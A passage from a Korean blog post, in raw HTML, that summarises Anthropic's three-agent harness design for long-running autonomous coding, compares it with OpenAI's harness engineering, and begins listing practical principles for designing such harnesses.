&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. Anthropic의 접근: 하네스 디자인&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic의 글은 다른 각도에서 출발한다. &lt;b&gt;장시간(수 시간) 자율 코딩에서 품질을 어떻게 보장하는가?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://www.anthropic.com/engineering/harness-design-long-running-apps&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic Engineering Blog&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;나이브한 구현이 실패하는 이유&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic은 두 가지 근본적인 실패 모드를 식별한다.&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;컨텍스트 불안(Context Anxiety)&lt;/b&gt;: 컨텍스트 윈도우가 차면서 모델이 일관성을 잃거나, 아직 할 일이 남았는데 일찍 마무리하려 한다. Sonnet 4.5에서 특히 심했으며, 컴팩션(요약)만으로는 해결되지 않았다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;자기 평가의 편향&lt;/b&gt;: 에이전트에게 자기 작업을 평가하라고 하면 &lt;b&gt;&quot;자신감 있게 칭찬한다&quot;&lt;/b&gt; &amp;mdash; 인간이 보기에 품질이 떨어져도. 특히 디자인 같은 주관적 영역에서 심하지만, 검증 가능한 코딩 작업에서도 발생한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;GAN에서 영감받은 3-에이전트 구조&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 문제를 해결하기 위해, Anthropic은 &lt;a href=&quot;https://en.wikipedia.org/wiki/Generative_adversarial_network&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GAN(Generative Adversarial Network)&lt;/a&gt;에서 영감을 받은 &lt;b&gt;3-에이전트 아키텍처&lt;/b&gt;를 설계했다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2638&quot; data-origin-height=&quot;1464&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDix5o/dJMcagEWQbZ/CKkTyFQ5fgolafK3ifhRnk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDix5o/dJMcagEWQbZ/CKkTyFQ5fgolafK3ifhRnk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDix5o/dJMcagEWQbZ/CKkTyFQ5fgolafK3ifhRnk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDix5o%2FdJMcagEWQbZ%2FCKkTyFQ5fgolafK3ifhRnk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2638&quot; height=&quot;1464&quot; data-origin-width=&quot;2638&quot; data-origin-height=&quot;1464&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;에이전트&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;역할&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;세부 사항&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Planner&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;1~4문장 프롬프트를 풀 스펙으로 확장&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;기술 세부사항보다 제품 맥락과 고수준 설계에 집중. AI 기능 통합 기회 탐색&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Generator&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;실제 코드 생성 및 구현&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;스프린트 단위로 작업. React + Vite + FastAPI + SQLite/PostgreSQL 스택&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Evaluator&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Playwright MCP로 실제 앱을 조작하며 QA&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;기능별 점수 + 상세 비평. 기준 미달 시 Generator에 피드백&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Generator와 Evaluator 사이에는 &lt;b&gt;스프린트 계약(Sprint Contract)&lt;/b&gt;이 있다. 코드를 작성하기 전에 &quot;이 스프린트에서 '완료'가 뭔지&quot;를 양쪽이 합의한다. Evaluator는 이 계약을 기준으로 평가한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;주관적 품질을 점수화하기 &amp;mdash; 프론트엔드 디자인 실험&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic은 프론트엔드 디자인에서 먼저 이 패턴을 실험했다. &quot;이 디자인이 아름다운가?&quot;는 일관되게 답하기 어렵지만, &lt;b&gt;&quot;이 디자인이 우리 원칙을 따르는가?&quot;&lt;/b&gt;는 구체적으로 평가할 수 있다. 4가지 평가 기준을 만들었다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기준&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;가중치&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Design Quality&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;색, 타이포그래피, 레이아웃이 하나의 분위기를 형성하는가&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;높음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Originality&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;의도적인 창의적 선택이 있는가, 아니면 AI 슬롭 패턴인가&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;높음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Craft&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;기술적 실행 품질 (타이포 계층, 간격 일관성, 대비)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;보통&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Functionality&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;미학과 무관한 사용성 &amp;mdash; 사용자가 작업을 완료할 수 있는가&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;보통&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;반복 5~15회, 최대 4시간이 걸렸다. 주목할 점은, Evaluator가 Playwright MCP로 &lt;b&gt;실제 페이지를 탐색하고 스크린샷을 찍으면서&lt;/b&gt; 평가한다는 것이다. 정적 스크린샷이 아니라 실제 인터랙션이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;&quot;박물관 수준의&quot; 디자인 도약&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;네덜란드 미술관 웹사이트를 생성할 때, 9번째 반복까지는 깔끔한 다크 테마 랜딩 페이지였다. 그런데 &lt;b&gt;10번째 반복에서 기존 접근을 완전히 버리고&lt;/b&gt;, CSS perspective로 렌더링된 3D 갤러리 &amp;mdash; 체크무늬 바닥, 벽에 걸린 작품, 문 기반 내비게이션 &amp;mdash; 로 재구상했다. 이전의 단일 패스 생성에서는 한 번도 본 적 없는 창의적 도약이었다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;모델이 좋아지면 하네스도 바뀐다&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic이 가장 강조하는 교훈이다. &lt;b&gt;하네스의 모든 구성 요소는 &quot;모델이 혼자 못하는 것&quot;에 대한 가정을 인코딩한다. 모델이 좋아지면 가정을 재검증해야 한다.&lt;/b&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2578&quot; data-origin-height=&quot;1400&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bF99wa/dJMcagkBvfo/J2unv1vwwX7kxK0F52yygk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bF99wa/dJMcagkBvfo/J2unv1vwwX7kxK0F52yygk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bF99wa/dJMcagkBvfo/J2unv1vwwX7kxK0F52yygk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbF99wa%2FdJMcagkBvfo%2FJ2unv1vwwX7kxK0F52yygk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2578&quot; height=&quot;1400&quot; data-origin-width=&quot;2578&quot; data-origin-height=&quot;1400&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;하네스 구성&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Opus 4.5에서&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Opus 4.6에서&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;스프린트 분해&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;필수 &amp;mdash; Sonnet 4.5가 긴 작업 일관성 유지 불가&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;&lt;b&gt;Opus 4.5부터 불필요&lt;/b&gt; &amp;mdash; Opus 4.5에서 컨텍스트 불안 해소, Opus 4.6에서도 불필요. 2시간+ 일관 작업 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;컨텍스트 리셋&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;필수 &amp;mdash; Sonnet 4.5의 컨텍스트 불안 대응&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;&lt;b&gt;불필요&lt;/b&gt; &amp;mdash; Opus 4.5부터 해소되어 4.6에서도 불필요, 자동 컴팩션 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Evaluator (QA)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;매 스프린트마다 실행&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;전체 빌드 후 1회 (여전히 가치 있음)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Planner&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;필수&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;&lt;b&gt;여전히 필수&lt;/b&gt; (없으면 스코프 부족)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;실전 비용 비교 (2D 레트로 게임 메이커 예시):&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;하네스&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;시간&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;비용&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;결과&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;단일 에이전트 (Solo)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;20분&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;$9&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;핵심 기능(게임 플레이) 작동하지 않음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;전체 하네스&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;6시간&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;$200&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;16개 기능, 게임 플레이 가능, AI 통합&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;20배 비싸지만, 단일 에이전트에서는 핵심 기능이 아예 작동하지 않았다. &lt;b&gt;비용이 아니라 &quot;결과물이 쓸 수 있느냐 없느냐&quot;&lt;/b&gt;가 진짜 차이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 두 접근법 비교 분석&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;관점&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;OpenAI (하네스 엔지니어링)&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Anthropic (하네스 디자인)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;핵심 은유&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;에이전트의 &quot;세계&quot; 구축&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;GAN 영감의 &quot;적대적 피드백 루프&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;주요 관심사&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;환경 설계 + 대규모 코드베이스 일관성&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;장시간 자율 코딩 + 품질 보장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;에이전트 수&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;Codex 단일 에이전트 (+ 리뷰 에이전트)&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;명시적 3-에이전트 (Planner/Generator/Evaluator)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;품질 보장 방법&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;린터 + CI + 구조적 테스트 + 정기 가비지 컬렉션&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;독립 Evaluator 에이전트 + Playwright 기반 실제 앱 QA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;컨텍스트 관리&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;Progressive Disclosure (AGENTS.md &amp;rarr; docs/)&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;컨텍스트 리셋 vs 자동 컴팩션 (모델에 따라)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;규모&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;100만 줄, 1,500 PR, 5개월&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;풀스택 앱 1개, 4~6시간, $124.70~$200&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;엔트로피 대응&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;Golden Principles + 백그라운드 정리 에이전트&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;Evaluator가 스프린트마다 품질 게이트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;인간의 역할&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&quot;환경 설계자&quot; &amp;mdash; 코드 0줄 작성&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&quot;하네스 튜너&quot; &amp;mdash; 평가 기준과 프롬프트 조정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;모델 진화 시&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;명시적으로 다루지 않음&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;구성요소를 하나씩 제거하며 재검증&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한 줄로 요약하면: &lt;b&gt;OpenAI식 하네스는 리포지토리 규모의 일관성을 최적화하고, Anthropic식 하네스는 장시간 실행의 품질 보장을 최적화한다.&lt;/b&gt; 둘은 상호 배타적이지 않으며, 실무에서는 두 관점을 결합하는 것이 가장 효과적이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;(위 비교는 양쪽 원문에서 직접 인용한 사실 기반이다. 아래 공통 원칙은 필자가 두 글을 종합하여 도출한 해석이다.)&lt;/i&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;접근 방식은 다르지만, 두 글에서 공통으로 나타나는 원칙이 있다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;에이전트의 작업 결과를 &lt;b&gt;자동으로 검증하는 메커니즘&lt;/b&gt;이 필수이다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;에이전트가 접근할 수 없는 지식은 존재하지 않는 것&lt;/b&gt;과 같다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;하네스 설계는 &lt;b&gt;일회성이 아니라 지속적인 튜닝&lt;/b&gt;이다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;인간의 역할이 &quot;코드 작성&quot;에서 &lt;b&gt;&quot;환경/기준 설계&quot;&lt;/b&gt;로 이동했다&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 실무 적용: 하네스 설계 7원칙&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;두 글에서 추출한 실무 원칙을 정리한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;원칙 1: 지도를 주지, 백과사전을 주지 마라&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;AGENTS.md / CLAUDE.md는 100줄 이내의 &quot;목차&quot;로 유지하고, 상세 내용은 &lt;code&gt;docs/&lt;/code&gt; 하위에 구조화한다. &lt;b&gt;Progressive Disclosure&lt;/b&gt;로 에이전트가 필요할 때 깊이 탐색하게 한다. (OpenAI)&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 12px 15px; border-radius: 8px; border-left: 3px solid #28a745; margin-top: 12px; font-size: 14px;&quot;&gt;&lt;b&gt;▶ 시작점&lt;/b&gt; AGENTS.md 파일을 열고 100줄 넘는 부분을 확인한다. 넘는다면 해당 내용을 docs/ 디렉토리로 분리하고, AGENTS.md에는 해당 파일로의 링크만 남긴다.&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;원칙 2: 불변량은 코드로 강제하라&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;아키텍처 경계, 의존성 방향, 네이밍 규칙은 문서가 아닌 &lt;b&gt;린터와 CI&lt;/b&gt;로 강제한다. 린터 에러 메시지에 수정 방법을 포함시켜 에이전트가 바로 고칠 수 있게 한다. (OpenAI)&lt;/p&gt;
